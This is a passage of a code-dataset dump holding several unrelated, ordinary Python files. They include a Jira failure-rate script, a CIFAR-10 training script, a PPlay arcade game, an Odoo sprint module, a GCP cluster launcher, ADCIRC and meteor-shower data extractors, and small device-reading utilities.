resolution in (Unresolved, Fixed) and component in (Content) and priority in (\"High/Critical\", \"Blocker/Showstopper\") AND labels = Conectados and bucket = \"Phase 3\"'\r\n query34 = 'project = MTQA AND issuetype = Bug AND labels = WL_2020 AND labels in (WLCQC, WLCQA) AND resolution in (Unresolved) and component in (Content) and priority in (\"Medium/Major\", \"Low/Minor\")'\r\n \r\n issues = find_all_issues(query12)\r\n print('issues = ', len(issues), '\\n');\r\n\r\n for key in titles: \r\n title = key;\r\n cci_file ='C:\\\\Users\\\\gyesayan\\\\CARS\\\\CCI\\\\' + title + '_CCI.csv';\r\n rut = failed_content(title, cci_file)\r\n \r\n for item in rut.items:\r\n for issue in issues:\r\n\r\n if issue_has_cgi(issue, item) and title in issue.fields.labels:\r\n# print(item, issue.key, issue_has_cgi(issue, item))\r\n if \"WLCQA\" in issue.fields.labels:\r\n rut.failed_cqa_items.add(item);\r\n if \"WLCQC\" in issue.fields.labels:\r\n rut.failed_cqc_items.add(item);\r\n rut.failed_items.add(item);\r\n rut.issues.add(issue.key);\r\n \r\n for cla in rut.activities:\r\n for issue in issues:\r\n if (cla in issue.raw['fields'][\"description\"] or cla in issue.fields.summary) and title in issue.fields.labels:\r\n# print(cla, issue)\r\n rut.extra_failed_cla.add(cla);\r\n rut.issues.add(issue.key);\r\n\r\n print(title)\r\n\r\n items = len(set(rut.items))\r\n failed_items = len(set(rut.failed_items))\r\n print(\"Overall unique items: \",items)\r\n print(\"failed items: \",failed_items)\r\n print(\"item failure rate: \",failed_items/items)\r\n print(\"failed CLA: \",len(rut.all_failed_cla()))\r\n\r\n\r\n\r\n \r\n","sub_path":"failure_rate2020.py","file_name":"failure_rate2020.py","file_ext":"py","file_size_in_byte":4724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"167763421","text":"import asyncio\nimport websockets\n\ncmdCon = 'USB CONNECTED'\ncmdDis = 'USB DISCONNECTED'\ncmdUnplug = 'unplug'\nuriServer = \"ws://localhost:8765\"\n\nasync def main():\n async with websockets.connect(uriServer) as websocket:\n while True:\n try:\n await websocket.send(cmdCon)\n income = await websocket.recv()\n if income == cmdUnplug:\n await websocket.send(cmdDis)\n exit()\n except websockets.ConnectionClosed:\n print(f\"Connection closed\")\n break\n\nasyncio.get_event_loop().run_until_complete(main())\nasyncio.get_event_loop().run_forever()","sub_path":"ws/utils/python/connect.py","file_name":"connect.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"425976576","text":"from sklearn.preprocessing import LabelBinarizer\n#from sklearn.metrics import classification_report\n\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\nos.environ['TF_FORCE_GPU_ALLOW_GROWTH'] = 'true'\n\nimport tensorflow as tf\nif tf.test.gpu_device_name():\n print('Default GPU Device: {}'.format(tf.test.gpu_device_name()))\nelse:\n print(\"Please install GPU version of TF\")\n\n#import sys\n#sys.path.append(\"/home/hrushikesh/dl4cv/callbacks\")\n\nfrom minivggnet import MiniVGGNet\nfrom tensorflow.keras.callbacks import ModelCheckpoint\nfrom tensorflow.keras.datasets import cifar10\nfrom tensorflow.keras.optimizers import SGD\nimport argparse\n\nap=argparse.ArgumentParser()\nap.add_argument(\"-w\",\"--weights\",required=True,\n help=\"path to the best weights file\")\n#output directory to store figure and serialized JSON training history\nargs=vars(ap.parse_args())\n\n# load the training and testing data, then scale it into the\n# range [0, 1]\nprint(\"[INFO] loading CIFAR-10 data...\")\n((trainX, trainY), (testX, testY)) = cifar10.load_data()\ntrainX = trainX.astype(\"float\") / 255.0\ntestX = testX.astype(\"float\") / 255.0\n# convert the labels from integers to vectors\n\nlb = LabelBinarizer()\ntrainY = lb.fit_transform(trainY)\ntestY = lb.transform(testY)\n# initialize the optimizer and model\nprint(\"[INFO] compiling model...\")\nopt = SGD(lr=0.01, decay=0.01 / 40, momentum=0.9, nesterov=True)\nmodel = MiniVGGNet.build(width=32, height=32, depth=3, classes=10)\nmodel.compile(loss=\"categorical_crossentropy\", optimizer=opt,\n metrics=[\"accuracy\"])\n\ncheckpoint= ModelCheckpoint(args[\"weights\"], monitor=\"val_loss\", mode=\"min\",\n save_best_only=True, verbose=1)\ncallbacks=[checkpoint]\n\n# train the network\nprint(\"[INFO] training network...\")\nH = model.fit(trainX, trainY, validation_data=(testX, testY),\nbatch_size=64, epochs=40, callbacks=callbacks, verbose=2)\n\n","sub_path":"conv/cifar10_checkpoint_best.py","file_name":"cifar10_checkpoint_best.py","file_ext":"py","file_size_in_byte":1861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"407795554","text":"from PPlay.window import *\nfrom PPlay.sprite import *\nfrom PPlay.gameimage import *\nfrom PPlay.gameobject import *\nfrom PPlay.collision import *\nimport globals\nimport random\n\nclass Jogador(object):\n def __init__(self, janela):\n self.janela = janela\n self.player = Sprite(\"assets/jogo_jogador.png\")\n self.listaTiros = []\n self.teclado = self.janela.get_keyboard()\n self.cronometroTiros = 0\n self.vidas = 6 - globals.DIFICULDADE\n self.set_pos()\n\n def set_pos(self):\n self.player.set_position(self.janela.width/2 - self.player.width/2, self.janela.height - 50)\n \n def _draw(self):\n self.player.draw()\n for i in range(len(self.listaTiros)):\n self.listaTiros[i].draw()\n\n def atirar(self):\n tiro = Sprite(\"assets/jogo_tiro.png\")\n tiro.set_position(self.player.x + self.player.width/2 - tiro.width/2, self.player.y)\n self.listaTiros.append(tiro)\n\n def atualizarTiros(self):\n for i in range(len(self.listaTiros)):\n self.listaTiros[i].move_y(self.janela.delta_time() * globals.FRAME_PER_SECOND *-7)\n if(self.listaTiros[i].y <= 0):\n self.listaTiros.pop(i)\n break\n\n def run(self): \n #Andar para os lados\n self.player.move_key_x(10 * self.janela.delta_time() * globals.FRAME_PER_SECOND)\n \n #Atirar\n if(self.cronometroTiros >= 0.5):\n if(self.teclado.key_pressed(\"UP\")):\n self.atirar()\n self.cronometroTiros = 0\n self.cronometroTiros += self.janela.delta_time()\n\n #Checagem de laterais da tela\n if(self.player.x < 0):\n self.player.set_position(0, self.janela.height-50)\n if(self.player.x + self.player.width > self.janela.width):\n self.player.x = self.janela.width - self.player.width\n \n #Mover os tiros e remover da lista\n self.atualizarTiros()\n\n self._draw()\n\nclass Inimigos(object):\n def __init__(self, janela, nivel):\n self.janela = janela\n self.nivel = nivel\n self.matrizInimigos = []\n self.quantidadeColunas = 3 + globals.DIFICULDADE\n self.quantidadeLinhas = 3 + globals.DIFICULDADE\n self.quantidadeInimigos = self.quantidadeColunas * self.quantidadeLinhas\n self.velocidadeInimigos = (5 * globals.DIFICULDADE * self.janela.delta_time() * self.nivel)/self.quantidadeInimigos\n self.direcaoInimigos = 1\n \n self.listaTiros = []\n self.cronometroTiro = 0\n self.cronometroAvancar = 0\n self.velocidadeTiro = 2 + (70 / self.quantidadeInimigos) * 0.2 + self.nivel * 0.5\n self.spawn()\n\n def spawn(self):\n for i in range(self.quantidadeLinhas):\n self.matrizInimigos.append([])\n for j in range(self.quantidadeColunas):\n self.matrizInimigos[i].append(Sprite(\"assets/jogo_inimigo.png\"))\n #Arrumar isto\n self.matrizInimigos[i][j].set_position((j+1)* (self.janela.width/(self.janela.width/60)), (i+1)*50)\n\n def moverInimigos(self):\n #Atualizando velocidade dos inimigos\n if self.quantidadeInimigos > 0:\n self.velocidadeInimigos = (self.janela.delta_time() * globals.FRAME_PER_SECOND) * self.direcaoInimigos + self.direcaoInimigos * globals.DIFICULDADE/2 + self.direcaoInimigos * 3 / self.quantidadeInimigos\n for i in range(len(self.matrizInimigos)):\n for j in range(len(self.matrizInimigos[i])):\n self.matrizInimigos[i][j].move_x(self.velocidadeInimigos)\n \n def atirar(self):\n if self.cronometroTiro > 4 / globals.DIFICULDADE + (self.nivel * 0.5):\n selecionado = random.randint(0, self.quantidadeInimigos)\n aux = 0\n for i in range(len(self.matrizInimigos)):\n for j in range(len(self.matrizInimigos[i])):\n aux += 1\n if aux == selecionado:\n tiro = Sprite(\"assets/jogo_tiro.png\")\n tiro.set_position(self.matrizInimigos[i][j].x + self.matrizInimigos[i][j].width/2 - tiro.width/2, self.matrizInimigos[i][j].y)\n self.listaTiros.append(tiro)\n self.cronometroTiro = 0\n return\n else: self.cronometroTiro += self.janela.delta_time()\n\n def atualizarTiros(self):\n self.velocidadeTiro = 2 + (70 / self.quantidadeInimigos) * 0.2 + self.nivel * 0.5\n for i in range(len(self.listaTiros)):\n self.listaTiros[i].move_y(self.janela.delta_time() * globals.FRAME_PER_SECOND * self.velocidadeTiro)\n if(self.listaTiros[i].y <= 0):\n self.listaTiros.pop(i)\n break\n\n def checarLimitesLaterais(self):\n for i in range(len(self.matrizInimigos)):\n for j in range(len(self.matrizInimigos[i])):\n if (self.matrizInimigos[i][j].x <= 0) or (self.matrizInimigos[i][j].x >= (self.janela.width - self.matrizInimigos[i][j].width)):\n return True\n return False\n\n def avancarInimigos(self):\n if self.cronometroAvancar > 0.15:\n if self.checarLimitesLaterais():\n self.direcaoInimigos = -self.direcaoInimigos\n for i in range(len(self.matrizInimigos)):\n for j in range(len(self.matrizInimigos[i])):\n self.matrizInimigos[i][j].y += 20\n self.cronometroAvancar = 0\n else: self.cronometroAvancar += self.janela.delta_time()\n\n def _draw(self):\n for i in range(len(self.matrizInimigos)):\n for j in range(len(self.matrizInimigos[i])):\n self.matrizInimigos[i][j].draw()\n for i in range(len(self.listaTiros)):\n self.listaTiros[i].draw()\n \n def run(self):\n self.moverInimigos()\n self.avancarInimigos()\n self.atirar()\n self.atualizarTiros()\n self._draw()","sub_path":"actors.py","file_name":"actors.py","file_ext":"py","file_size_in_byte":6016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"202263342","text":"from __future__ import annotations\n\nimport requests\n\nfrom .powermeter import PowerMeasurementResult, PowerMeter\n\n\nclass ShellyPowerMeter(PowerMeter):\n def __init__(self, shelly_ip):\n self.meter_uri = \"http://{}/status/\".format(shelly_ip)\n\n def get_power(self) -> PowerMeasurementResult:\n r = requests.get(self.meter_uri, timeout=5)\n json = r.json()\n return PowerMeasurementResult(\n float(json[\"meters\"][0][\"power\"]),\n float(json[\"meters\"][0][\"timestamp\"]),\n )\n","sub_path":"utils/measure_v2/powermeter/shelly.py","file_name":"shelly.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"435584659","text":"import tkinter as tk\nimport serial\nimport simplejson\nimport time\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\nfrom drawnow import *\nimport matplotlib.pyplot as plt\n\n\ndatos = []\narduinoData = serial.Serial('COM3',9600,timeout=5)\nplt.ion()\ncnt = 0\n\ndef suma():\n suma = int(entrada1.get())\n arduinoData.write(suma)\n time.sleep(1)\n print(suma)\n return var.set(suma)\n\ndef makeFig():\n plt.ylim(0,50)\n plt.title('Medicion de la Temperatura')\n plt.grid(True)\n plt.ylabel('Temperatura')\n plt.plot(datos,'ro-',label='Temperatura')\n plt.legend(loc='upper left')\n fig.canvas.draw()\n\nventana = tk.Tk()\nventana.wm_title(\"Lectura de Temperaturas\")\nvar = tk.StringVar()\n\nfig = plt.figure()\ncanvas = FigureCanvasTkAgg(fig,master=ventana)\ncanvas.get_tk_widget().pack(side=tk.TOP, fill=tk.BOTH, expand=1)\n\nel = tk.Label(ventana,text=\"Numero1: \",bg=\"pink\",fg=\"white\")\nel.pack(padx=5,pady=4,ipadx=5,ipady=5,fill=tk.X)\n\nentrada1 = tk.Entry(ventana)\nentrada1.pack(fill=tk.X,padx=5,pady=5,ipadx=5,ipady=5)\n\nbotonSuma = tk.Button(ventana,text=\"Suma\",fg=\"blue\",command=suma)\nbotonSuma.pack(side=tk.TOP)\n\nwhile True:\n while(arduinoData.inWaiting()==0):\n pass\n arduinoString = arduinoData.readline()\n jsonObject = simplejson.loads(arduinoString)\n temp = float(jsonObject[\"t\"])\n y = float(jsonObject[\"y\"])\n time.sleep(0.01)\n print(temp,\",\",y)\n datos.append(temp)\n drawnow(makeFig)\n plt.pause(.0001)\nventana.mainloop()","sub_path":"python-arduino/Tkinter5.py","file_name":"Tkinter5.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"176699920","text":"consonnes=['b','c','č','d','ḏ','ḍ','f','g','ḡ','ǧ','h','ḥ','j','k','ḵ','l','m','n','q','r','ṛ','s','ṣ','t','ṯ','ṭ','ţ','v','w','x','y','z','ẓ','ž','ɣ','ɛ']\n\n#classification par mode d'articulation\nocclusives_sourdes=['t','ṭ','k','kw','q','qw']\nocclusives_voisee=['b','bw','d','g','gw']\naffriquee_sourde=['ţ','č']\naffriquee_voisee=['ž','ǧ']\nfrictative_sourde=['v','f','ṯ','s','ṣ','c','cw','ḵ','ḵw','x','xw','ḥ','h']\nfrictative_voisee=['ḏ','ḍ','z','ẓ','j','jw','ḡ','ḡw','ɣ','ɣw','ɛ']\nnasale=['m','n']\nlateral=['l','lw']\nroulee=['r','ṛ']\nspirante=['w','y']\n\n#classification par point d'articulation\nbilabiale_plaine=['b','v','m','w']\nbilabiale_labiale=['bw']\nlabiodentale=['f']\ninterdentale_plaine=['ṯ','ḏ']\ninterdentale_emphatique=['ḍ']\ndental_plaine=['t','d','n','l','r']\ndental_emphatique=['ṭ','lw','ṛ']\nalveolaire_plaine=['ţ','ž','s','z']\nalveolaire_emphatique=['ṣ','ẓ']\npostalveolaire_plaine=['č','ǧ','c','j']\npostalveolaire_emphatique=['cw','jw']\npalatale_plaine=['ḡ','ḵ','y']\npalatale_labiale=['ḡw','ḵw']\nvelaire_plaine=['k','g']\nvelaire_labiale=['kw','gw']\nuvulaire_plaine=['q','ɣ','x']\nuvulaire_labiale=['qw','ɣw','xw']\npharyngale=['ḥ','ɛ']\nglottale=['h']\n\n\ndef mode_articulation (i):\n\n if (i in occlusives_sourdes):\n return 'occlusive sourde'\n\n elif (i in occlusives_voisee):\n return 'occlusive voisée'\n\n elif (i in affriquee_sourde):\n return 'affriquée sourde'\n elif (i in affriquee_voisee):\n return 'affiruqée voisée'\n elif (i in frictative_sourde):\n return 'frictative sourde'\n elif (i in frictative_voisee):\n return 'frictative voisée'\n elif (i in nasale):\n return 'nasale'\n elif (i in roulee):\n return 'roulée'\n elif (i in spirante):\n return 'spirante'\n\ndef point_articulation(i):\n if (i in bilabiale_plaine):\n return 'bilabiale plaine'\n elif (i in bilabiale_labiale):\n return 'bilabiale labiale'\n elif (i in labiodentale):\n return 'labiodentale'\n elif (i in interdentale_plaine):\n return 'interdentale plaine'\n elif (i in interdentale_emphatique):\n return 'interdentale emphatique'\n elif (i in dental_plaine):\n return 'dentale plaine'\n elif (i in dental_emphatique):\n return 'dentale emphatique'\n elif (i in alveolaire_plaine):\n return 'alveolaire plaine'\n elif (i in alveolaire_emphatique):\n return 'alveolaire emphatique'\n elif (i in postalveolaire_plaine):\n return 'postalveolaireplaine'\n elif (i in postalveolaire_emphatique):\n return 'postalveolaire emphatique'\n elif (i in palatale_plaine):\n return 'palatale plaine'\n elif (i in palatale_labiale):\n return 'palatale labiale'\n elif (i in velaire_plaine):\n return 'velaire plaine'\n elif (i in velaire_labiale):\n return 'velaire labiale'\n elif (i in uvulaire_plaine):\n return 'uvulaire plaine'\n elif (i in 'uvulaire_labiale'):\n return 'uvulaire labiale'\n elif (i in pharyngale):\n return 'pharyngale'\n elif (i in glottale):\n return 'glotale'\n\n\nfor i in consonnes:\n a='u'+i+'iɣ'\n print (a,'->',mode_articulation (i),'/',point_articulation(i))\n","sub_path":"Syllabation/phonology/classification-mode-point.py","file_name":"classification-mode-point.py","file_ext":"py","file_size_in_byte":3291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"224924702","text":"\"\"\" Launcher functionality for the Google Compute Engine (GCE)\n\"\"\"\nimport json\nimport logging\nimport os\n\nfrom dcos_launch import onprem, util\nfrom dcos_launch.platforms import gcp\nfrom dcos_test_utils.helpers import Host\nfrom googleapiclient.errors import HttpError\n\nlog = logging.getLogger(__name__)\n\n\ndef get_credentials(env=None) -> tuple:\n path = None\n if env is None:\n env = os.environ.copy()\n if 'GCE_CREDENTIALS' in env:\n json_credentials = env['GCE_CREDENTIALS']\n elif 'GOOGLE_APPLICATION_CREDENTIALS' in env:\n path = env['GOOGLE_APPLICATION_CREDENTIALS']\n json_credentials = util.read_file(path)\n else:\n raise util.LauncherError(\n 'MissingParameter', 'Either GCE_CREDENTIALS or GOOGLE_APPLICATION_CREDENTIALS must be set in env')\n\n return json_credentials, path\n\n\nclass OnPremLauncher(onprem.AbstractOnpremLauncher):\n # Launches a homogeneous cluster of plain GMIs intended for onprem DC/OS\n def __init__(self, config: dict, env=None):\n creds_string, _ = get_credentials(env)\n self.gcp_wrapper = gcp.GcpWrapper(json.loads(creds_string))\n self.config = config\n\n @property\n def deployment(self):\n \"\"\" Builds a BareClusterDeployment instance with self.config, but only returns it successfully if the\n corresponding real deployment (active machines) exists and doesn't contain any errors.\n \"\"\"\n try:\n deployment = gcp.BareClusterDeployment(self.gcp_wrapper, self.config['deployment_name'],\n self.config['gce_zone'])\n info = deployment.get_info()\n errors = info['operation'].get('error')\n if errors:\n raise util.LauncherError('DeploymentContainsErrors', str(errors))\n return deployment\n except HttpError as e:\n if e.resp.status == 404:\n raise util.LauncherError('DeploymentNotFound',\n \"The deployment you are trying to access doesn't exist\") from e\n raise e\n\n def create(self) -> dict:\n self.key_helper()\n node_count = 1 + (self.config['num_masters'] + self.config['num_public_agents']\n + self.config['num_private_agents'])\n gcp.BareClusterDeployment.create(\n self.gcp_wrapper,\n self.config['deployment_name'],\n self.config['gce_zone'],\n node_count,\n self.config['disk_size'],\n self.config['disk_type'],\n self.config['source_image'],\n self.config['machine_type'],\n self.config['image_project'],\n self.config['ssh_user'],\n self.config['ssh_public_key'],\n self.config['disable_updates'],\n self.config['use_preemptible_vms'],\n tags=self.config.get('tags'))\n return self.config\n\n def key_helper(self):\n \"\"\" Generates a public key and a private key and stores them in the config. The public key will be applied to\n all the instances in the deployment later on when wait() is called.\n \"\"\"\n if self.config['key_helper']:\n private_key, public_key = util.generate_rsa_keypair()\n self.config['ssh_private_key'] = private_key.decode()\n self.config['ssh_public_key'] = public_key.decode()\n\n def get_cluster_hosts(self) -> [Host]:\n return list(self.deployment.hosts)[1:]\n\n def get_bootstrap_host(self) -> Host:\n return list(self.deployment.hosts)[0]\n\n def wait(self):\n \"\"\" Waits for the deployment to complete: first, the network that will contain the cluster is deployed. Once\n the network is deployed, a firewall for the network and an instance template are deployed. Finally,\n once the instance template is deployed, an instance group manager and all its instances are deployed.\n \"\"\"\n self.deployment.wait_for_completion()\n\n def delete(self):\n \"\"\" Deletes all the resources associated with the deployment (instance template, network, firewall, instance\n group manager and all its instances.\n \"\"\"\n self.deployment.delete()\n","sub_path":"dcos_launch/gcp.py","file_name":"gcp.py","file_ext":"py","file_size_in_byte":4208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"393876090","text":"# -*- coding: utf-8 -*-\n# Part of Sailotech. See LICENSE file for full copyright and licensing details.\n\nfrom odoo import api, exceptions, fields, models\nimport pdb\n\n\nclass ProjectScrumTeam(models.Model):\n _name = \"project.scrum.team\"\n\n name = fields.Char('Name', required=True)\n sprint_ids = fields.One2many('project.sprint', 'scrum_team_id', 'Sprints')\n project_ids = fields.One2many('project.project', 'scrum_team_id', 'Projects')\n\n\nclass ProjectProject(models.Model):\n _inherit = 'project.project'\n\n scrum_team_id = fields.Many2one('project.scrum.team', 'Scrum Team')\n\n\nclass ProjectSprint(models.Model):\n _name = 'project.sprint'\n _rec_name = 'display_name'\n _order = 'start_date DESC'\n\n name = fields.Char('Name', required=True)\n project_id = fields.Many2one(\"project.project\", \"Project\", required=True)\n display_name = fields.Char('Display Name', compute='_compute_display_name',store=True)\n start_date = fields.Date('Start Date', required=True)\n end_date = fields.Date('End Date', required=True)\n scrum_team_id = fields.Many2one('project.scrum.team', 'Scrum Team',required=True)\n task_count = fields.Integer('# Tasks', compute='_task_count')\n\n is_current_sprint = fields.Boolean('Is Current Sprint')\n is_previous_sprint = fields.Boolean('Is Previous Sprint')\n\n @api.multi\n def _task_count(self):\n ProjectTask = self.env['project.task']\n for sprint in self:\n # pdb.set_trace()\n tasks = ProjectTask.search([('sprint_id', '=', sprint.id)])\n sprint.task_count = len(tasks)\n\n @api.multi\n @api.constrains('is_current_sprint')\n def check_current_sprint(self):\n self.ensure_one()\n # pdb.set_trace()\n self.check_is_not_both_previous_and_current()\n if self.is_current_sprint:\n old_previous = self.search([('is_previous_sprint', '=', True)])\n if old_previous:\n old_previous.is_previous_sprint = False\n old_current = self.search([('is_current_sprint', '=', True),\n ('id', '!=', self.id)])\n if old_current:\n old_current.is_current_sprint = False\n old_current.is_previous_sprint = True\n\n @api.multi\n @api.constrains('is_previous_sprint')\n def check_previous_sprint(self):\n self.ensure_one()\n # pdb.set_trace()\n self.check_is_not_both_previous_and_current()\n # pdb.set_trace()\n if len(self.search([('is_previous_sprint', '=', True)])) > 1:\n raise exceptions.ValidationError('A single previous sprint is '\n 'permitted')\n\n @api.multi\n def check_is_not_both_previous_and_current(self):\n self.ensure_one()\n # pdb.set_trace()\n if self.is_current_sprint and self.is_previous_sprint:\n raise exceptions.ValidationError('A sprint cannot be previous'\n ' and current at the same time')\n\n @api.multi\n @api.constrains('start_date', 'end_date')\n def check_dates(self):\n for sprint in self:\n # pdb.set_trace()\n concurrent_sprints = self.search([\n '&',\n '|',\n '|',\n '&',\n ('start_date', '<=', sprint.end_date),\n ('start_date', '>=', sprint.start_date),\n '&',\n ('end_date', '<=', sprint.end_date),\n ('end_date', '>=', sprint.start_date),\n '&',\n ('start_date', '<=', sprint.start_date),\n ('end_date', '>=', sprint.end_date),\n '&',\n ('id', '!=', sprint.id),\n ('scrum_team_id', '=', sprint.scrum_team_id.id)\n ])\n if concurrent_sprints:\n raise exceptions.ValidationError('Sprints cannot overlap')\n\n @api.multi\n def view_tasks_action(self):\n self.ensure_one()\n # pdb.set_trace()\n return {\n 'type': 'ir.actions.act_window',\n 'res_model': 'project.task',\n 'view_type': 'form',\n 'view_mode': 'tree,form',\n 'target': 'current',\n 'name': self.name,\n 'display_name': self.display_name,\n 'domain': [('sprint_id', '=', self.id)],\n 'context': {'default_sprint_id': self.id},\n }\n\n @api.multi\n @api.depends('name', 'start_date', 'end_date')\n def _compute_display_name(self):\n # pdb.set_trace()\n for sprint in self:\n strng=str(sprint.name)\n if len(strng)>0:\n sprint.display_name = '%s - %s/%s' % (sprint.name, sprint.end_date[8:10], sprint.end_date[5:7])\n \n\n\nclass ProjectTask(models.Model):\n _inherit = 'project.task'\n\n sprint_id = fields.Many2one('project.sprint', 'Sprint', track_visibility='onchange')\n\n @api.multi\n def go_to_sprint_action(self):\n self.ensure_one()\n return self.sprint_id.view_tasks_action()\n\n @api.multi\n def assign_to_me(self):\n self.ensure_one()\n # pdb.set_trace()\n self.user_id = self._uid","sub_path":"HR/Project/sea_project_sprint/models/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":5324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"528547404","text":"# -*- coding: utf-8 - Python 3.5 *-\n\"\"\"\nDescription: Reads Adcirc Global Output file fort.63 & returns time series at\nselected nodes.\nInput(s): fort.63, Nodes of interest\nOutput(s): Time series .txt files\njdorvinen@dewberry.com, slawler@dewberry.com\nCreated on Tue Apr 19 15:08:33 2016\n\"\"\"\n#---------------------------------------Load Python Modules---------------------------------------#\n#import fileinput\nfrom datetime import datetime as dt\nfrom copy import deepcopy\nimport os\nfrom NODES_LIST import NODES_LIST\nfrom TRANSECTS import TRANSECTS\nimport numpy as np\n\n#------------------------------------------User Inputs--------------------------------------------#\nPARENT_DIR = \"P:/02/LakeOntario/Storm/\"\nINPUTFILES = [\"fort.63\", \"swan_TP.63\", \"swan_HS.63\"]\nSTORM_LIST = [\"19740314\", \"19770107\", \"19800109\", \"20061026\", \"19710301\"]\nPARAMETERS = {\"fort.63\":\"SWEL\", \"swan_TP.63\":\"TPS\", \"swan_HS.63\":\"HS\"}\n\n#------------------------------------------BEGIN SCRIPT-------------------------------------------#\n\ndef extract(root):\n\n \"\"\"Extracts data from ADCIRC time series files\"\"\"\n nodes_list = deepcopy(NODES_LIST)\n for filed in INPUTFILES:\n print(\"Extracting \"+root+\"/\"+filed)\n f63 = os.path.join(root, filed) #-- 63 files\n with open(f63) as fin:\n for line in fin:\n mynode = line.strip().split(' ')[0] #--Test each line\n if mynode in nodes_list.keys():\n value = line.strip().split()[1]\n nodes_list[mynode][PARAMETERS[filed]].append(value)\n return nodes_list\n\ndef write_data(root, nodes_list):\n \"\"\" Write extracted data to files \"\"\"\n for transect in TRANSECTS:\n for node in TRANSECTS[transect]:\n filename = \"transect_{0}_node_{1}.txt\".format(transect,\n node)\n length = max([len(nodes_list[node]['SWEL']),\n len(nodes_list[node]['HS']),\n len(nodes_list[node]['TPS'])])\n timesteps = np.arange(0, length)\n with open(os.path.join(root, filename), 'w') as savefile:\n for step in timesteps:\n time = '{:>12}'.format(str((step)*1800))\n if step == 0:\n swel = '{:>24}'.format('nan')\n else:\n try:\n swel = '{:>24}'.format(nodes_list[node]['SWEL'][step-1])\n except LookupError:\n swel = '{:>24}'.format('nan')\n try:\n hsig = '{:>24}'.format(nodes_list[node]['HS'][step])\n except LookupError:\n hsig = '{:>24}'.format('nan')\n try:\n tps = '{:>24}'.format(nodes_list[node]['TPS'][step])\n except LookupError:\n tps = '{:>24}'.format('nan')\n line = time+swel+hsig+tps+\"\\n\"\n savefile.write(line)\n\n#------------------------------------------MAIN FUNCTION------------------------------------------#\ndef main():\n\n \"\"\"Main function, runs extract() funtion and times it.\"\"\"\n\n start_time = dt.now()\n print(\"\\n==========START========= \\n\")\n print('Begin extracting data:\\n')\n print(start_time)\n\n for storm in STORM_LIST:\n root = os.path.join(PARENT_DIR, storm)\n nodes_list = extract(root)\n write_data(root, nodes_list)\n\n end_time = dt.now()\n tda = str(end_time-start_time).split('.')[0].split(':')\n print(\"\\n===========END==========\\n\")\n print(\"Processing Time :\\n\")\n print(\"{0} hrs, {1} mins, {2} sec \\n\\n\".format(tda[0], tda[1], tda[2]))\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"lake_ontario/extract_from_63_list_09022016_offset_3in1.py","file_name":"extract_from_63_list_09022016_offset_3in1.py","file_ext":"py","file_size_in_byte":3796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"523771320","text":"import numpy as np\nimport os, csv\nimport cPickle as pickle\nfrom matplotlib import pyplot as plt\nfrom datetime import datetime\nimport datetime as dt\n\nauthors = {}\n\nbasedir = '/home/cwp/EMC/lib/analysis/zhr/'\n\n# Get directories\ncwd = '/home/cwp/EMC/data/authors/'\nfilenames = os.listdir(cwd)\n\nfor filename in filenames:\n with open(cwd+filename, 'rb') as input:\n authors[filename[:-4]] = pickle.load(input)\n\ndef getObservers(filepath):\n base = filepath\n toReturn = {}\n\n for filename in os.listdir(filepath):\n toReturn[filename[:-4]] = []\n\n with open(base + filename, 'r') as f:\n for line in f.readlines():\n toReturn[filename[:-4]].append(line.split('\\n')[0])\n\n os.remove(base+filename)\n\n return toReturn\n\ndef getShowerInfo(filepath):\n data = {}\n with open(basedir+filepath, 'r') as f:\n readFile = list(csv.reader(f))\n for line in readFile:\n data[int(line[0])] = {'ra':float(line[1]),\\\n 'dec':float(line[2]), 'peak':line[3], 'start':line[4], \\\n 'end':line[5], 'r':float(line[6]), 'zhr_exp':int(line[7]),\\\n 'zhr_max':int(line[8])}\n\n return data\n\ndef getDateRange(start,end,startYear,endYear):\n startDate = datetime(startYear, int(start.split('/')[1]), \\\n int(start.split('/')[0]))\n\n endDate = datetime(endYear, int(end.split('/')[1]), \\\n int(end.split('/')[0]))\n\n dates = []\n\n while startDate <= endDate:\n dates.append(startDate)\n startDate += dt.timedelta(days=1)\n\n return dates\n\nshowers = ['perseids', 'leonids', 'quadrantids', 'geminids', 'orionids', 'eta_aquariids']\ndates = ['2005','2006','2007','2010','2011','2012','2013','2014','2015','2016']\n\nshowerObservers = {}\nshowerObserversFinal = {}\n\nfor shower in showers:\n showerObservers[shower] = getObservers(basedir+'dates/'+shower+'/')\n\nfor shower, observers in showerObservers.items():\n print('========'+shower+'========')\n\n showerData = getShowerInfo(shower+'radiant.txt')\n\n count = 0\n\n for observer in observers:\n #print(observer)\n okayDates = []\n\n for date in observers[observer]:\n noNaN = True\n noPeakNaN = True\n year = int(date[:4])\n\n if year in showerData.keys():\n peakDate = datetime(year,int(\\\n showerData[year]['peak'].split('/')[1]), int(\\\n showerData[year]['peak'].split('/')[0]))\n\n if shower != 'quadrantids':\n activeRange = getDateRange(showerData[year]['start'],\\\n showerData[year]['end'], year, year)\n else:\n activeRange = getDateRange(showerData[year]['start'],\\\n showerData[year]['end'], year, year+1)\n\n entry = authors[observer].data[date]\n entry.loadData()\n\n for day, dayData in entry.data.items():\n try:\n currentDate = datetime(int(date.split('-')[0]), \\\n int(date.split('-')[1]), int(day))\n if currentDate in activeRange:\n dayData = dayData[:-1]\n\n for hour in dayData:\n if hour == '-1':\n noNaN += 1\n if (currentDate == peakDate) and (hour == '-1'):\n noPeakNaN = False\n\n except:\n pass\n\n 